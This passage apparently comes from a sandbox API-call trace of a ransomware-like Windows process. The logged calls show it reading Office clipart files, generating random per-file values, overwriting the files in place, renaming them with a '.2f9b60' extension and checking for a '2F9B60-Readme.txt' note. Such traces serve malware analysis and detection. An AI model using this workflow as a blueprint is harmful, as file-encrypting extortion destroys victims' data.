(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d000) returned 1 [0106.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7980) returned 1 [0106.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167dc0) returned 1 [0106.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8880) returned 1 [0106.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8550) returned 1 [0106.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced80d0) returned 1 [0106.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced85b0) returned 1 [0106.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7b30) returned 1 [0106.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7860) returned 1 [0106.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8370) returned 1 [0106.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x204ffeb0 [0106.546] wcscat (in: _Dest=0x204ffeb0, _Source="f961f883a909" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f961f883a909") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f961f883a909" [0106.546] wcscat (in: _Dest=0x204ffeb0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f961f883a909.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f961f883a909.2f9b60" [0106.546] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f961f883a909.2f9b60", NtPathName=0x29dffbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f961f883a909.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0106.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x202791f0 [0106.547] NtSetInformationFile (FileHandle=0x15a4, IoStatusBlock=0x29dffc90, FileInformation=0x202791f0, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202791f0) returned 1 [0109.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20292180) returned 1 [0109.515] NtQueryInformationFile (in: FileHandle=0x15a4, IoStatusBlock=0x29dffc58, FileInformation=0x29dffc68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x29dffc58, FileInformation=0x29dffc68) returned 0x0 [0109.515] NtSetInformationFile (FileHandle=0x15a4, IoStatusBlock=0x29dffc58, FileInformation=0x29dffc68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffeb0) returned 1 [0109.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced58d0) returned 1 [0109.534] FlushFileBuffers (hFile=0x15a4) returned 1 [0109.536] CloseHandle (hObject=0x15a4) returned 1 [0109.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x204ffeb0 [0109.537] wcscpy (in: _Dest=0x204ffeb0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.537] wcscat (in: _Dest=0x204ffeb0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffeb0) returned 1 [0109.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4a7b0) returned 1 Thread: id = 662 os_tid = 0x113c [0096.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif")) returned 0x20 [0106.420] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF", dwFileAttributes=0x20) returned 1 [0106.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x158c [0106.458] GetFileSizeEx (in: hFile=0x158c, lpFileSize=0x2a8ef6a0 | out: lpFileSize=0x2a8ef6a0*=5375) returned 1 [0106.458] SetFilePointerEx (in: hFile=0x158c, liDistanceToMove=0x14fb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.458] ReadFile (in: hFile=0x158c, lpBuffer=0x2a8ef620, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a8ef668, lpOverlapped=0x0 | out: lpBuffer=0x2a8ef620*, lpNumberOfBytesRead=0x2a8ef668*=0x4, lpOverlapped=0x0) returned 1 [0106.463] SetFilePointerEx (in: hFile=0x158c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0106.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8880 [0106.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8610 [0106.464] NtQuerySystemTime (in: CurrentTime=0x2a8ef560 | out: CurrentTime=0x2a8ef560*=132462177119530000) returned 0x0 [0106.464] RtlRandomEx (in: Seed=0x2a8ef550 | out: Seed=0x2a8ef550) returned 0x76ab4388 [0106.464] RtlRandomEx (in: Seed=0x2a8ef550 | out: Seed=0x2a8ef550) returned 0x627855dd [0106.464] RtlRandomEx (in: Seed=0x2a8ef550 | out: Seed=0x2a8ef550) returned 0x68f7ce2b [0106.464] RtlRandomEx (in: Seed=0x2a8ef550 | out: Seed=0x2a8ef550) returned 0x789e1a71 [0106.464] RtlRandomEx (in: Seed=0x2a8ef550 | out: Seed=0x2a8ef550) returned 0xae20116 [0106.464] RtlRandomEx (in: Seed=0x2a8ef550 | out: Seed=0x2a8ef550) returned 0x3c1bec36 [0106.464] RtlRandomEx (in: Seed=0x2a8ef550 | out: Seed=0x2a8ef550) returned 0x4b8bf399 [0106.464] RtlRandomEx (in: Seed=0x2a8ef550 | out: Seed=0x2a8ef550) returned 0x1ed3a1 [0106.464] RtlRandomEx (in: Seed=0x2a8ef550 | out: Seed=0x2a8ef550) returned 0x6103ca4a [0106.464] RtlRandomEx (in: Seed=0x2a8ef550 | out: Seed=0x2a8ef550) returned 0x54551858 [0106.464] RtlRandomEx (in: Seed=0x2a8ef550 | out: Seed=0x2a8ef550) returned 0xbd1402a [0106.464] RtlRandomEx (in: Seed=0x2a8ef550 | out: Seed=0x2a8ef550) returned 0x29734ea5 [0106.464] RtlRandomEx (in: Seed=0x2a8ef550 | out: Seed=0x2a8ef550) returned 0x7838fe9c [0106.464] RtlRandomEx (in: Seed=0x2a8ef550 | out: Seed=0x2a8ef550) returned 0x5532606c [0106.464] RtlRandomEx (in: Seed=0x2a8ef550 | out: Seed=0x2a8ef550) returned 0x3f146681 [0106.464] RtlRandomEx (in: Seed=0x2a8ef550 | out: Seed=0x2a8ef550) returned 0x1d76db11 [0106.464] RtlRandomEx (in: Seed=0x2a8ef550 | out: Seed=0x2a8ef550) returned 0xe549297 [0106.465] RtlRandomEx (in: Seed=0x2a8ef550 | out: Seed=0x2a8ef550) returned 0x289fddfb [0106.465] RtlRandomEx (in: Seed=0x2a8ef550 | out: Seed=0x2a8ef550) returned 0x48bba999 [0106.465] RtlRandomEx (in: Seed=0x2a8ef550 | out: Seed=0x2a8ef550) returned 0x6aa8f43a [0106.465] RtlRandomEx (in: Seed=0x2a8ef550 | out: Seed=0x2a8ef550) returned 0xcf8f784 [0106.465] RtlRandomEx (in: Seed=0x2a8ef550 | out: Seed=0x2a8ef550) returned 0x7a130edc [0106.465] RtlRandomEx (in: Seed=0x2a8ef550 | out: Seed=0x2a8ef550) returned 0x596e0143 [0106.465] RtlRandomEx (in: Seed=0x2a8ef550 | out: Seed=0x2a8ef550) returned 0x3ae5b5a8 [0106.465] RtlRandomEx (in: Seed=0x2a8ef550 | out: Seed=0x2a8ef550) returned 0x7dd51e71 [0106.465] RtlRandomEx (in: Seed=0x2a8ef550 | out: Seed=0x2a8ef550) returned 0x42fd6b2d [0106.465] RtlRandomEx (in: Seed=0x2a8ef550 | out: Seed=0x2a8ef550) returned 0x4a7e801e [0106.465] RtlRandomEx (in: Seed=0x2a8ef550 | out: Seed=0x2a8ef550) returned 0x3e7050dc [0106.465] RtlRandomEx (in: Seed=0x2a8ef550 | out: Seed=0x2a8ef550) returned 0x3b081c5c [0106.465] RtlRandomEx (in: Seed=0x2a8ef550 | out: Seed=0x2a8ef550) returned 0x2732a629 [0106.465] RtlRandomEx (in: Seed=0x2a8ef550 | out: Seed=0x2a8ef550) returned 0x42f8f8de [0106.465] RtlRandomEx (in: Seed=0x2a8ef550 | out: Seed=0x2a8ef550) returned 0x42701fe7 [0106.474] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced80d0 [0106.474] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8674c0 [0106.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced85b0 [0106.475] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8674c0) returned 1 [0106.475] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8610) returned 1 [0106.475] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0106.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0106.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8674c0 [0106.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0106.475] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0106.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41eb5950 [0106.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e9f0f0 [0106.475] ReadFile (in: hFile=0x158c, lpBuffer=0x41eb5950, nNumberOfBytesToRead=0x14ff, lpNumberOfBytesRead=0x2a8ef550, lpOverlapped=0x0 | out: lpBuffer=0x41eb5950*, lpNumberOfBytesRead=0x2a8ef550*=0x14ff, lpOverlapped=0x0) returned 1 [0106.482] SetFilePointerEx (in: hFile=0x158c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.483] WriteFile (in: hFile=0x158c, lpBuffer=0x41e9f0f0*, nNumberOfBytesToWrite=0x14ff, lpNumberOfBytesWritten=0x2a8ef554, lpOverlapped=0x0 | out: lpBuffer=0x41e9f0f0*, lpNumberOfBytesWritten=0x2a8ef554*=0x14ff, lpOverlapped=0x0) returned 1 [0106.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8550 [0106.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7f20 [0106.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7f20) returned 1 [0106.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e9f0f0) returned 1 [0106.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41eb5950) returned 1 [0106.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8674c0) returned 1 [0106.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0106.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced7f20 [0106.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0106.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8674c0 [0106.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced84c0 [0106.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced84c0) returned 1 [0106.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced84c0 [0106.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7980 [0106.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0106.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0106.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8674c0) returned 1 [0106.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0106.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x167dc0 [0106.501] SetFilePointerEx (in: hFile=0x158c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0106.501] WriteFile (in: hFile=0x158c, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2a8ef670, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x2a8ef670*=0x10a, lpOverlapped=0x0) returned 1 [0106.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0106.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8674c0 [0106.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0106.519] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0106.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0106.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0106.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7e60 [0106.519] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7e60) returned 1 [0106.519] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8674c0) returned 1 [0106.519] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0106.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0106.519] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="4c") returned 2 [0106.519] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="aa") returned 2 [0106.519] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="ce") returned 2 [0106.519] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="e1") returned 2 [0106.520] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="b4") returned 2 [0106.520] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="1b") returned 2 [0106.520] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="f6") returned 2 [0106.520] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="6a") returned 2 [0106.520] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="e3") returned 2 [0106.520] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="b0") returned 2 [0106.520] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="81") returned 2 [0106.520] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="ca") returned 2 [0106.520] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="97") returned 2 [0106.520] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="69") returned 2 [0106.520] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="84") returned 2 [0106.520] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="32") returned 2 [0106.520] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="7f") returned 2 [0106.520] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="f7") returned 2 [0106.520] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="fc") returned 2 [0106.520] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="21") returned 2 [0106.520] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="7b") returned 2 [0106.520] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="2d") returned 2 [0106.520] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="2c") returned 2 [0106.520] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="83") returned 2 [0106.520] RtlInitAnsiString (in: DestinationString=0x2a8ef6e8, SourceString="4caacee1b41bf66ae3b081ca976984327ff7fc217b2d2c83" | out: DestinationString="4caacee1b41bf66ae3b081ca976984327ff7fc217b2d2c83") [0106.520] RtlAnsiStringToUnicodeString (in: DestinationString=0x2a8ef6b8, SourceString="4caacee1b41bf66ae3b081ca976984327ff7fc217b2d2c83", AllocateDestinationString=1 | out: DestinationString="4caacee1b41bf66ae3b081ca976984327ff7fc217b2d2c83") returned 0x0 [0106.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced5860 [0106.521] RtlFreeAnsiString (AnsiString="4") [0106.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f630) returned 1 [0106.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d000) returned 1 [0106.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0106.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167dc0) returned 1 [0106.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced84c0) returned 1 [0106.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7980) returned 1 [0106.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7f20) returned 1 [0106.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8550) returned 1 [0106.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8880) returned 1 [0106.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced80d0) returned 1 [0106.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced85b0) returned 1 [0106.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x204ffa50 [0106.522] wcscat (in: _Dest=0x204ffa50, _Source="4caacee1b41b" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\4caacee1b41b") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\4caacee1b41b" [0106.522] wcscat (in: _Dest=0x204ffa50, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\4caacee1b41b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\4caacee1b41b.2f9b60" [0106.522] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\4caacee1b41b.2f9b60", NtPathName=0x2a8ef690, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\4caacee1b41b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0106.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107300 [0106.522] NtSetInformationFile (FileHandle=0x158c, IoStatusBlock=0x2a8ef730, FileInformation=0x107300, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107300) returned 1 [0109.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202923b0) returned 1 [0109.517] NtQueryInformationFile (in: FileHandle=0x158c, IoStatusBlock=0x2a8ef6f8, FileInformation=0x2a8ef708, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a8ef6f8, FileInformation=0x2a8ef708) returned 0x0 [0109.517] NtSetInformationFile (FileHandle=0x158c, IoStatusBlock=0x2a8ef6f8, FileInformation=0x2a8ef708, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffa50) returned 1 [0109.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5860) returned 1 [0109.530] FlushFileBuffers (hFile=0x158c) returned 1 [0109.539] CloseHandle (hObject=0x158c) returned 1 [0109.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x204ffeb0 [0109.540] wcscpy (in: _Dest=0x204ffeb0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.540] wcscat (in: _Dest=0x204ffeb0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffeb0) returned 1 [0109.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4a840) returned 1 Thread: id = 663 os_tid = 0x1140 [0096.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif")) returned 0x20 [0106.391] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF", dwFileAttributes=0x20) returned 1 [0106.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1588 [0106.443] GetFileSizeEx (in: hFile=0x1588, lpFileSize=0x2a6afc40 | out: lpFileSize=0x2a6afc40*=9248) returned 1 [0106.443] SetFilePointerEx (in: hFile=0x1588, liDistanceToMove=0x241c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.443] ReadFile (in: hFile=0x1588, lpBuffer=0x2a6afbc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a6afc08, lpOverlapped=0x0 | out: lpBuffer=0x2a6afbc0*, lpNumberOfBytesRead=0x2a6afc08*=0x4, lpOverlapped=0x0) returned 1 [0106.447] SetFilePointerEx (in: hFile=0x1588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7860 [0106.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced82b0 [0106.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8370 [0106.447] NtQuerySystemTime (in: CurrentTime=0x2a6afb00 | out: CurrentTime=0x2a6afb00*=132462177119374000) returned 0x0 [0106.447] RtlRandomEx (in: Seed=0x2a6afaf0 | out: Seed=0x2a6afaf0) returned 0x3f94f0c1 [0106.447] RtlRandomEx (in: Seed=0x2a6afaf0 | out: Seed=0x2a6afaf0) returned 0x6b19472c [0106.447] RtlRandomEx (in: Seed=0x2a6afaf0 | out: Seed=0x2a6afaf0) returned 0x71b8788f [0106.447] RtlRandomEx (in: Seed=0x2a6afaf0 | out: Seed=0x2a6afaf0) returned 0x74d53941 [0106.447] RtlRandomEx (in: Seed=0x2a6afaf0 | out: Seed=0x2a6afaf0) returned 0x236a6f5c [0106.447] RtlRandomEx (in: Seed=0x2a6afaf0 | out: Seed=0x2a6afaf0) returned 0x1c5b0c82 [0106.447] RtlRandomEx (in: Seed=0x2a6afaf0 | out: Seed=0x2a6afaf0) returned 0x5cac170 [0106.447] RtlRandomEx (in: Seed=0x2a6afaf0 | out: Seed=0x2a6afaf0) returned 0x799c4aea [0106.448] RtlRandomEx (in: Seed=0x2a6afaf0 | out: Seed=0x2a6afaf0) returned 0xab9ed31 [0106.448] RtlRandomEx (in: Seed=0x2a6afaf0 | out: Seed=0x2a6afaf0) returned 0x36d929eb [0106.448] RtlRandomEx (in: Seed=0x2a6afaf0 | out: Seed=0x2a6afaf0) returned 0x3fbfc981 [0106.448] RtlRandomEx (in: Seed=0x2a6afaf0 | out: Seed=0x2a6afaf0) returned 0x223d6e58 [0106.448] RtlRandomEx (in: Seed=0x2a6afaf0 | out: Seed=0x2a6afaf0) returned 0x176ae6f6 [0106.448] RtlRandomEx (in: Seed=0x2a6afaf0 | out: Seed=0x2a6afaf0) returned 0x4621f7a0 [0106.448] RtlRandomEx (in: Seed=0x2a6afaf0 | out: Seed=0x2a6afaf0) returned 0x3f3f3f41 [0106.448] RtlRandomEx (in: Seed=0x2a6afaf0 | out: Seed=0x2a6afaf0) returned 0xd8d8d29 [0106.448] RtlRandomEx (in: Seed=0x2a6afaf0 | out: Seed=0x2a6afaf0) returned 0x431afd9d [0106.448] RtlRandomEx (in: Seed=0x2a6afaf0 | out: Seed=0x2a6afaf0) returned 0x17be65e3 [0106.448] RtlRandomEx (in: Seed=0x2a6afaf0 | out: Seed=0x2a6afaf0) returned 0x6be331b6 [0106.448] RtlRandomEx (in: Seed=0x2a6afaf0 | out: Seed=0x2a6afaf0) returned 0x6c5efb21 [0106.448] RtlRandomEx (in: Seed=0x2a6afaf0 | out: Seed=0x2a6afaf0) returned 0x411e0b72 [0106.448] RtlRandomEx (in: Seed=0x2a6afaf0 | out: Seed=0x2a6afaf0) returned 0x62e62716 [0106.448] RtlRandomEx (in: Seed=0x2a6afaf0 | out: Seed=0x2a6afaf0) returned 0x7b7a1c28 [0106.448] RtlRandomEx (in: Seed=0x2a6afaf0 | out: Seed=0x2a6afaf0) returned 0x1cb8af16 [0106.448] RtlRandomEx (in: Seed=0x2a6afaf0 | out: Seed=0x2a6afaf0) returned 0x6a0680e8 [0106.448] RtlRandomEx (in: Seed=0x2a6afaf0 | out: Seed=0x2a6afaf0) returned 0x7302bb3e [0106.448] RtlRandomEx (in: Seed=0x2a6afaf0 | out: Seed=0x2a6afaf0) returned 0x4583f642 [0106.448] RtlRandomEx (in: Seed=0x2a6afaf0 | out: Seed=0x2a6afaf0) returned 